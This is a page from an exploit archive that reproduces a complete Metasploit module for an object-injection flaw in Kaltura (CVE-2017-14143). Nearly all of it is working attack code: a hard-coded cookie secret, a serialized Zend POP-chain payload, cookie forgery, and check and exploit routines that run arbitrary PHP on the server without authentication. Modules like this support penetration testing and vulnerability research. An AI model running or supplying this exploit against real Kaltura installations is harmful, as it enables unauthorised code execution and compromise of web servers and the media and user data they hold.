Kaltura Remote PHP Code Execution

This Metasploit module exploits an Object Injection vulnerability in Kaltura. By exploiting this vulnerability, unauthenticated users can execute arbitrary code under the context of the web server user. Kaltura makes use of a hard-coded cookie secret which allows to sign arbitrary cookie data. After passing this signature check, the base64- decoded data is passed to PHPs unserialize() function which allows for code execution. The constructed object is again based on the SektionEins Zend code execution POP chain PoC. Kaltura versions prior to 13.1.0 are affected by this issue. A valid entry_id (which is required for this exploit) can be obtained from any media resource published on the kaltura installation. This Metasploit module was tested against Kaltura 13.1.0-2 installed on Ubuntu 14.04.


MD5 | 378cc7a64ba0d3b9625bf7d0daeb9bd6

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
CookieSecret = 'y3tAno3therS$cr3T'

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Kaltura Remote PHP Code Execution over Cookie',
'Description' => %q{
This module exploits an Object Injection vulnerability in Kaltura.
By exploiting this vulnerability, unauthenticated users can execute
arbitrary code under the context of the web server user.

Kaltura makes use of a hardcoded cookie secret which allows to sign
arbitrary cookie data. After passing this signature check, the base64-
decoded data is passed to PHPs unserialize() function which allows for
code execution. The constructed object is again based on the SektionEins
Zend code execution POP chain PoC. Kaltura versions prior to 13.1.0 are
affected by this issue.

A valid entry_id (which is required for this exploit) can be obtained
from any media resource published on the kaltura installation.

This module was tested against Kaltura 13.1.0-2 installed on Ubuntu 14.04.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Robin Verton <[email protected]>',
'Mehmet Ince <[email protected]>' # first kaltura rce module
],
'References' =>
[
['CVE', '2017-14143']
],
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' => [ ['Automatic', {}] ],
'DisclosureDate' => 'Sep 12 2017',
'DefaultTarget' => 0
))

register_options(
[
OptString.new('TARGETURI', [true, 'The target URI of the Kaltura installation', '/']),
OptString.new('ENTRYID', [true, 'Valid entry ID of any media resource (example: 0_lahha4c9)', ''])
]
)
end

def check
r = rand_text_alpha(15 + rand(4))
entry_id = datastore['ENTRYID']
cmd = "print_r(#{r}).die()"

p = ""
p << "a:1:{s:1:\"z\";O:8:\"Zend_Log\":1:{s:11:\"\00*\00_writers\";"
p << "a:1:{i:0;O:20:\"Zend_Log_Writer_Mail\":5:{s:16:\"\00*\00_eventsToMail\";"
p << "a:1:{i:0;i:1;}s:22:\"\00*\00_layoutEventsToMail\";a:0:{}s:8:\"\00*\00_mail\";"
p << "O:9:\"Zend_Mail\":0:{}s:10:\"\00*\00_layout\";O:11:\"Zend_Layout\":3:{s:13:\"\00*\00_inflector\";"
p << "O:23:\"Zend_Filter_PregReplace\":2:{s:16:\"\00*\00_matchPattern\";s:7:\"/(.*)/e\";"
p << "s:15:\"\00*\00_replacement\";s:#{cmd.length.to_s}:\"#{cmd}\";}s:20:\"\00*\00_inflectorEnabled\";"
p << "b:1;s:10:\"\00*\00_layout\";s:6:\"layout\";}s:22:\"\00*\00_subjectPrependText\";N;}}};}"

encoded = Rex::Text.encode_base64(p)
hash = Rex::Text.md5("#{encoded}#{CookieSecret}")

res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'index.php', 'keditorservices', 'getAllEntries'),
'vars_get' => {
'list_type' => '15',
'entry_id' => entry_id
},
'cookie' => "userzone=#{encoded}#{hash}"
)

if res && res.redirect?
print_error("Got a redirect, maybe you are not using https? #{res.headers['Location']}")
Exploit::CheckCode::Safe
elsif res && res.body.include?(r)
Exploit::CheckCode::Vulnerable
elsif !check_entryid
print_error("Invalid ENTRYID")
Exploit::CheckCode::Safe
else
Exploit::CheckCode::Safe
end
end

def check_entryid
entry_id = datastore['ENTRYID']
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'index.php', 'keditorservices', 'getAllEntries'),
'vars_get' => {
'list_type' => '15',
'entry_id' => entry_id
}
)

return res.body.include? entry_id
end

def exploit
entry_id = datastore['ENTRYID']
cmd = "print_r(eval(base64_decode('#{Rex::Text.encode_base64(payload.encode)}'))).die()"

p = ""
p << "a:1:{s:1:\"z\";O:8:\"Zend_Log\":1:{s:11:\"\00*\00_writers\";"
p << "a:1:{i:0;O:20:\"Zend_Log_Writer_Mail\":5:{s:16:\"\00*\00_eventsToMail\";"
p << "a:1:{i:0;i:1;}s:22:\"\00*\00_layoutEventsToMail\";a:0:{}s:8:\"\00*\00_mail\";"
p << "O:9:\"Zend_Mail\":0:{}s:10:\"\00*\00_layout\";O:11:\"Zend_Layout\":3:{s:13:\"\00*\00_inflector\";"
p << "O:23:\"Zend_Filter_PregReplace\":2:{s:16:\"\00*\00_matchPattern\";s:7:\"/(.*)/e\";"
p << "s:15:\"\00*\00_replacement\";s:#{cmd.length.to_s}:\"#{cmd}\";}s:20:\"\00*\00_inflectorEnabled\";"
p << "b:1;s:10:\"\00*\00_layout\";s:6:\"layout\";}s:22:\"\00*\00_subjectPrependText\";N;}}};}"

encoded = Rex::Text.encode_base64(p)
hash = Rex::Text.md5("#{encoded}#{CookieSecret}")

res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'index.php', 'keditorservices', 'getAllEntries'),
'vars_get' => {
'list_type' => '15',
'entry_id' => entry_id
},
'cookie' => "userzone=#{encoded}#{hash}"
)

if res && res.redirect?
print_error("Got a redirect, maybe you are not using https? #{res.headers['Location']}")
elsif res && res.code != 200
print_error('Unexpected response...')
else
print_status("Output: #{res.body}")
end
end
end

Related Posts

Comments